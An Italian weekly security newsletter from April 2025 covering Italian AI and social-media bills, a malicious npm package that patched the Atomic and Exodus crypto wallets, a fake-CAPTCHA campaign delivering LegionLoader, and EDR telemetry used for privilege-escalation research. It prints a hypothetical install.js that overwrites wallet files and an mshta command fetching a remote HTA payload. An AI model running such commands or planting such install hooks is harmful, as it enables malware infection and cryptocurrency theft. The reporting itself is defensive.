Security Weekly 6-11/4/25
Un recap della settimana, un caso su NPM, Captcha e telemetria EDR, parliamo di security ma anche di attualità
Buon sabato e ben ritrovato caro cyber User! Che è successo questa settimana? Ok, prima di entrare nel vivo della puntata odierna con i soliti temi e review delle notizie cyber principali, vediamo di cosa si è parlato nella mia bolla in questa settimana.
Sicuramente hanno fatto parlare di sé le tre nuove proposte di legge del Partito democratico con le firme di Anna Ascani, Chiara Braga, Marianna Madia e Piero De Luca. Proposte atte a regolare intelligenza artificiale, utilizzo della rete e social network. Bene sicuramente la volontà di voler normare certe tecnologie che stanno diventando sempre più presenti nella vita di tutti: normiamo per esempio l’utilizzo commerciale dei nostri dati che ogni giorno regaliamo a qualsiasi stakeholder che operi nel settore dell’innovazione, anche solo navigando. Trasformiamoli in valore economico. Bene anche normare l’utilizzo dell’intelligenza artificiale in tutti i settori lavorativi. Meno d’accordo invece sull’obbligo di registrazione ai social network mediante carta d’identità. Ci sono motivazioni tecniche dietro questa mia posizione, che ne ostacolano la realizzazione. I social network lavorano su una base multinazionale che non è Italo-centrica, la verifica del documento non sarebbe una cosa fattibile per tutto il mondo. Inoltre nessuno può sapere se il documento è stato effettivamente inserito dal genitore per far registrare il minore, o se il minore ha fatto tutto in self, con il proprio smartphone, trovando un documento in giro per casa. Insomma questo concetto demolisce la base naturale di Internet (ricordo che attivisti e persone “scomode” di ogni tipo, per poter parlare spesso non possono presentarsi con la propria identità), ma soprattutto non risolverebbe tecnicamente il problema dell’accesso ai social dei minori con profili fake.
Questa settimana ho anche parlato di sicurezza nelle nostre case per Massimo Canorro di Today.it, impregnate di oggetti smart di ogni tipo, che di fatto trasformano le nostre case in piccoli data-center, senza però le giuste ed adeguate misure di sicurezza, esponendoci a rischi continui. Stesso tema ripreso anche dalla trasmissione Donne al volante di Radio Number One, con la mia presenza nella puntata di giovedì 10 aprile.
🧨 Panoramica di un attacco: compromissione dei wallet Atomic ed Exodus via npm
Il 1° aprile 2025, è stato pubblicato su npm un pacchetto chiamato pdf-to-office, presentato come una libreria per convertire file PDF in documenti Microsoft Office. In realtà, il pacchetto conteneva codice malevolo progettato per compromettere i wallet di criptovalute Atomic ed Exodus installati localmente. Una volta eseguito, il pacchetto sovrascriveva file legittimi dei wallet con versioni modificate, permettendo agli attaccanti di intercettare e dirottare le transazioni di criptovalute effettuate dagli utenti.
1. Tecnica di patching malevolo
Il pacchetto pdf-to-office non attaccava direttamente i wallet, ma sfruttava una tecnica di "patching" per modificare i file esistenti delle applicazioni Atomic ed Exodus. Questa tecnica consiste nell'iniettare codice malevolo all'interno di file legittimi, rendendo più difficile la rilevazione da parte di strumenti di sicurezza tradizionali.
2. Sovrascrittura dei file dei wallet
Una volta installato, il pacchetto individuava le directory di installazione dei wallet Atomic ed Exodus e sovrascriveva specifici file JavaScript con versioni modificate contenenti codice malevolo. Questo codice era progettato per intercettare le transazioni di criptovalute e reindirizzarle verso indirizzi controllati dagli attaccanti.
3. Persistenza dell'attacco
Anche se il pacchetto pdf-to-office veniva successivamente rimosso, i file dei wallet compromessi rimanevano alterati. Ciò significa che l'attacco persisteva nel tempo, continuando a dirottare le transazioni fino a quando i file compromessi non venivano identificati e ripristinati.
Sebbene il codice specifico del pacchetto pdf-to-office non sia stato reso pubblico, possiamo ipotizzare la struttura del codice malevolo basandoci su attacchi simili documentati da ReversingLabs.
Esempio di codice malevolo in install.js:
const fs = require('fs');
const path = require('path');
// Percorsi dei wallet
const walletPaths = [
path.join(process.env.HOME, '.config', 'Exodus'),
path.join(process.env.HOME, '.config', 'atomic')
];
// Codice malevolo da iniettare
const maliciousCode = `
// Codice per intercettare e reindirizzare le transazioni
// ...
`;
// Funzione per sovrascrivere i file dei wallet
walletPaths.forEach(walletPath => {
const targetFile = path.join(walletPath, 'app.js'); // File ipotetico
if (fs.existsSync(targetFile)) {
fs.writeFileSync(targetFile, maliciousCode);
}
});Questo script cerca le directory dei wallet, individua file specifici e li sovrascrive con codice malevolo progettato per intercettare le transazioni.
🛡️ Indicatori di compromissione (IoC)
Per identificare una possibile compromissione, è consigliabile verificare:
Presenza del pacchetto
pdf-to-office: controllare se è installato nel progetto.Modifiche non autorizzate ai file dei wallet: confrontare i file con versioni ufficiali per individuare alterazioni.
Comportamenti anomali durante le transazioni: ad esempio, modifiche non autorizzate agli indirizzi di destinazione.
🧰 Mitigazione e prevenzione
Verifica dell'integrità dei file: utilizzare hash o firme digitali per garantire che i file dei wallet non siano stati alterati.
Monitoraggio delle dipendenze: utilizzare strumenti di analisi delle dipendenze per identificare pacchetti sospetti o non necessari.
Ambienti isolati: eseguire applicazioni sensibili in ambienti isolati per limitare l'impatto di eventuali compromissioni.
Questo attacco evidenzia la crescente sofisticazione delle minacce alla supply chain del software. L'utilizzo di tecniche di patching malevolo per compromettere applicazioni legittime rappresenta una sfida significativa per la sicurezza. È fondamentale adottare pratiche di sviluppo sicure, monitorare attentamente le dipendenze e implementare controlli di integrità per proteggere gli utenti finali da tali minacce.
Per ulteriori dettagli, è possibile consultare l'articolo completo di ReversingLabs: Atomic and Exodus crypto wallets targeted in malicious npm campaign.
Netskope evidenzia campagna malevola che distribuisce LegionLoader tramite CAPTCHA falsi
La campagna sfrutta siti web compromessi per reindirizzare gli utenti a pagine di verifica CAPTCHA false, progettate per imitare l'aspetto di soluzioni legittime come Cloudflare Turnstile. Queste pagine ingannevoli inducono gli utenti a eseguire comandi dannosi, portando all'installazione del malware LegionLoader.
🔍 Dettagli tecnici dell'attacco
1. Falsi CAPTCHA come vettore di attacco
Gli utenti vengono reindirizzati a una pagina che simula un CAPTCHA, spesso con un pulsante "I'm not a robot". Cliccando su questo pulsante, viene visualizzato un messaggio che istruisce l'utente a eseguire manualmente un comando nel prompt Esegui di Windows:
mshta.exe http://malicious-domain.com/payload.htaQuesto comando utilizza l'applicazione legittima mshta.exe per scaricare ed eseguire un file HTA (HTML Application) da un server remoto, avviando così la catena di infezione.
2. Catena di infezione multi-stadio
Il file HTA scaricato esegue uno script PowerShell che:
Bypassa l'Antimalware Scan Interface (AMSI) di Windows per evitare la rilevazione.
Scarica e decodifica ulteriori script PowerShell offuscati.
Carica in memoria il payload finale, ovvero il malware LegionLoader.
Questo approccio fileless rende l'attacco più difficile da rilevare e analizzare.
3. Distribuzione del malware LegionLoader
LegionLoader è un loader modulare che può scaricare e installare ulteriori malware, come stealer di informazioni o trojan bancari. La sua distribuzione tramite questa campagna consente agli attaccanti di ottenere un punto d'appoggio nel sistema della vittima e di eseguire ulteriori azioni malevole.
🧰 Mitigazione e prevenzione
Educazione degli utenti: informare gli utenti sui rischi associati all'esecuzione di comandi non verificati e sull'importanza di non seguire istruzioni sospette online.
Monitoraggio delle attività di
mshta.exe: implementare regole di sicurezza che rilevino l'uso anomalo dimshta.exe, soprattutto quando tenta di scaricare contenuti da Internet.Implementazione di soluzioni EDR: utilizzare strumenti di rilevamento e risposta degli endpoint per identificare comportamenti sospetti e bloccare l'esecuzione di script malevoli.
Questa campagna evidenzia l'evoluzione delle tecniche di ingegneria sociale e l'uso di strumenti legittimi per scopi malevoli. La combinazione di falsi CAPTCHA e comandi manuali rende l'attacco particolarmente insidioso. È fondamentale adottare misure proattive di sicurezza e sensibilizzare gli utenti per prevenire infezioni da malware come LegionLoader.
Per ulteriori dettagli, è possibile consultare l'articolo completo di Netskope: New Evasive Campaign Delivers LegionLoader via Fake CAPTCHA Cloudflare Turnstile.
📡 Utilizzo della telemetria EDR per la ricerca offensiva
L'articolo di HackingIsCool esplora come la telemetria raccolta dai sistemi di Endpoint Detection and Response (EDR) possa essere sfruttata non solo per la difesa, ma anche per identificare potenziali vulnerabilità e comportamenti anomali nel software. Analizzando eventi come la creazione di processi e il caricamento di DLL, è possibile scoprire vettori di escalation dei privilegi locali (LPE) e altre falle di sicurezza.
🔍 Analisi dettagliata degli eventi di telemetria
1. Creazione di processi e analisi della riga di comando
Monitorando gli eventi di creazione dei processi, è possibile individuare esecuzioni sospette. Ad esempio, cercando processi avviati con privilegi elevati (come SYSTEM) da eseguibili situati in directory di utenti standard (es. C:\Users\), si possono identificare potenziali vettori di LPE. Un caso evidenziato riguarda l'esecuzione di java.exe con classi caricate da una directory utente, indicando una possibile configurazione rischiosa.
2. Caricamento di DLL da percorsi non standard
Analizzando gli eventi di caricamento delle DLL, si possono rilevare situazioni in cui processi privilegiati caricano librerie da percorsi controllabili da utenti non privilegiati. Ad esempio, l'esecuzione di parsecd.exe come SYSTEM che carica una DLL dalla directory %APPDATA%\Parsec dell'utente rappresenta un potenziale rischio di LPE.
3. Monitoraggio dei processi msiexec.exe in modalità riparazione
L'esecuzione di script di riparazione tramite msiexec.exe può introdurre vulnerabilità se non gestita correttamente. Cercando eventi in cui msiexec.exe genera processi da percorsi utente o carica DLL da tali percorsi, è possibile individuare potenziali falle di sicurezza.
🛠️ Esempio di query per individuare potenziali LP
Per rilevare processi eseguiti con privilegi elevati da directory utente, si potrebbe utilizzare una query simile alla seguente:
SELECT *
FROM process_creation_events
WHERE process_integrity_level = 'High'
AND process_image_path LIKE 'C:\Users\%'
AND process_owner != 'Administrator';Questa query identifica processi con alto livello di integrità avviati da percorsi utente, escludendo quelli eseguiti dall'amministratore.
📊 Differenze tra EDR e strumenti come Procmon
Sebbene strumenti come Procmon offrano una visione dettagliata delle attività di sistema, la telemetria EDR ha il vantaggio di operare su larga scala, raccogliendo dati da numerosi endpoint in tempo reale. Tuttavia, la profondità dei dati raccolti può variare, e alcune informazioni dettagliate potrebbero non essere disponibili tramite EDR.
L'utilizzo creativo della telemetria EDR può trasformare questi strumenti da semplici meccanismi difensivi a potenti alleati nella ricerca di vulnerabilità. Tuttavia, è essenziale comprendere le capacità e i limiti del proprio EDR, nonché mantenere un approccio etico e conforme alle normative durante tali attività di ricerca.
Per approfondimenti, si consiglia la lettura dell'articolo completo su HackingIsCool: Using EDR telemetry for offensive research.
😋 FunFact
Il fatto più fun della settimana che ho visto è l’emulazione di iPhone, iOS, su QEMU in un PC.
Un interessante e dettagliato articolo, mostra che passi seguire per operare l’emulazione del sistema melafonino, su PC tramite QEMU, attraverso l’esperienza vissuta dall’autore. Il team di eShard ha intrapreso l'emulazione di iOS 14 utilizzando QEMU, partendo da progetti open-source esistenti come xnu-qemu-arm64 e qemu-t8030. Quest'ultimo ha offerto funzionalità interessanti, tra cui la possibilità di ripristinare iOS utilizzando una seconda istanza di QEMU per la connettività USB.
Anche quest'oggi abbiamo concluso, ti ringrazio per il tempo e l'attenzione che mi hai dedicato, augurandoti buon fine settimana, ti rimando al mio blog e alla prossima settimana per un nuovo appuntamento con NINAsec.
Il network
Con questo piccolo schema riepilogo in breve i punti di riferimento che alimento con i miei contenuti, su diversi fronti, quasi quotidianamente.
Ransomfeed.it - piattaforma di monitoraggio ransomware, realtime;
inSicurezzaDigitale.com - blog di sicurezza informatica con approfondimenti tematici;
SecureBulletin.com - news internazionali su cyber security, analisi e frodi;
Spcnet.it - notizie geek;
ilGlobale.it - note politiche e di economia, di rilevanza internazionale;
Ziobudda.org - notizie Linux, open source e software libero, segnalabili e commentabili (socialnews).
NewsDF - il raccoglitore di tutto questo, con un suo feed RSS generale, per non perdere niente di quello che pubblico.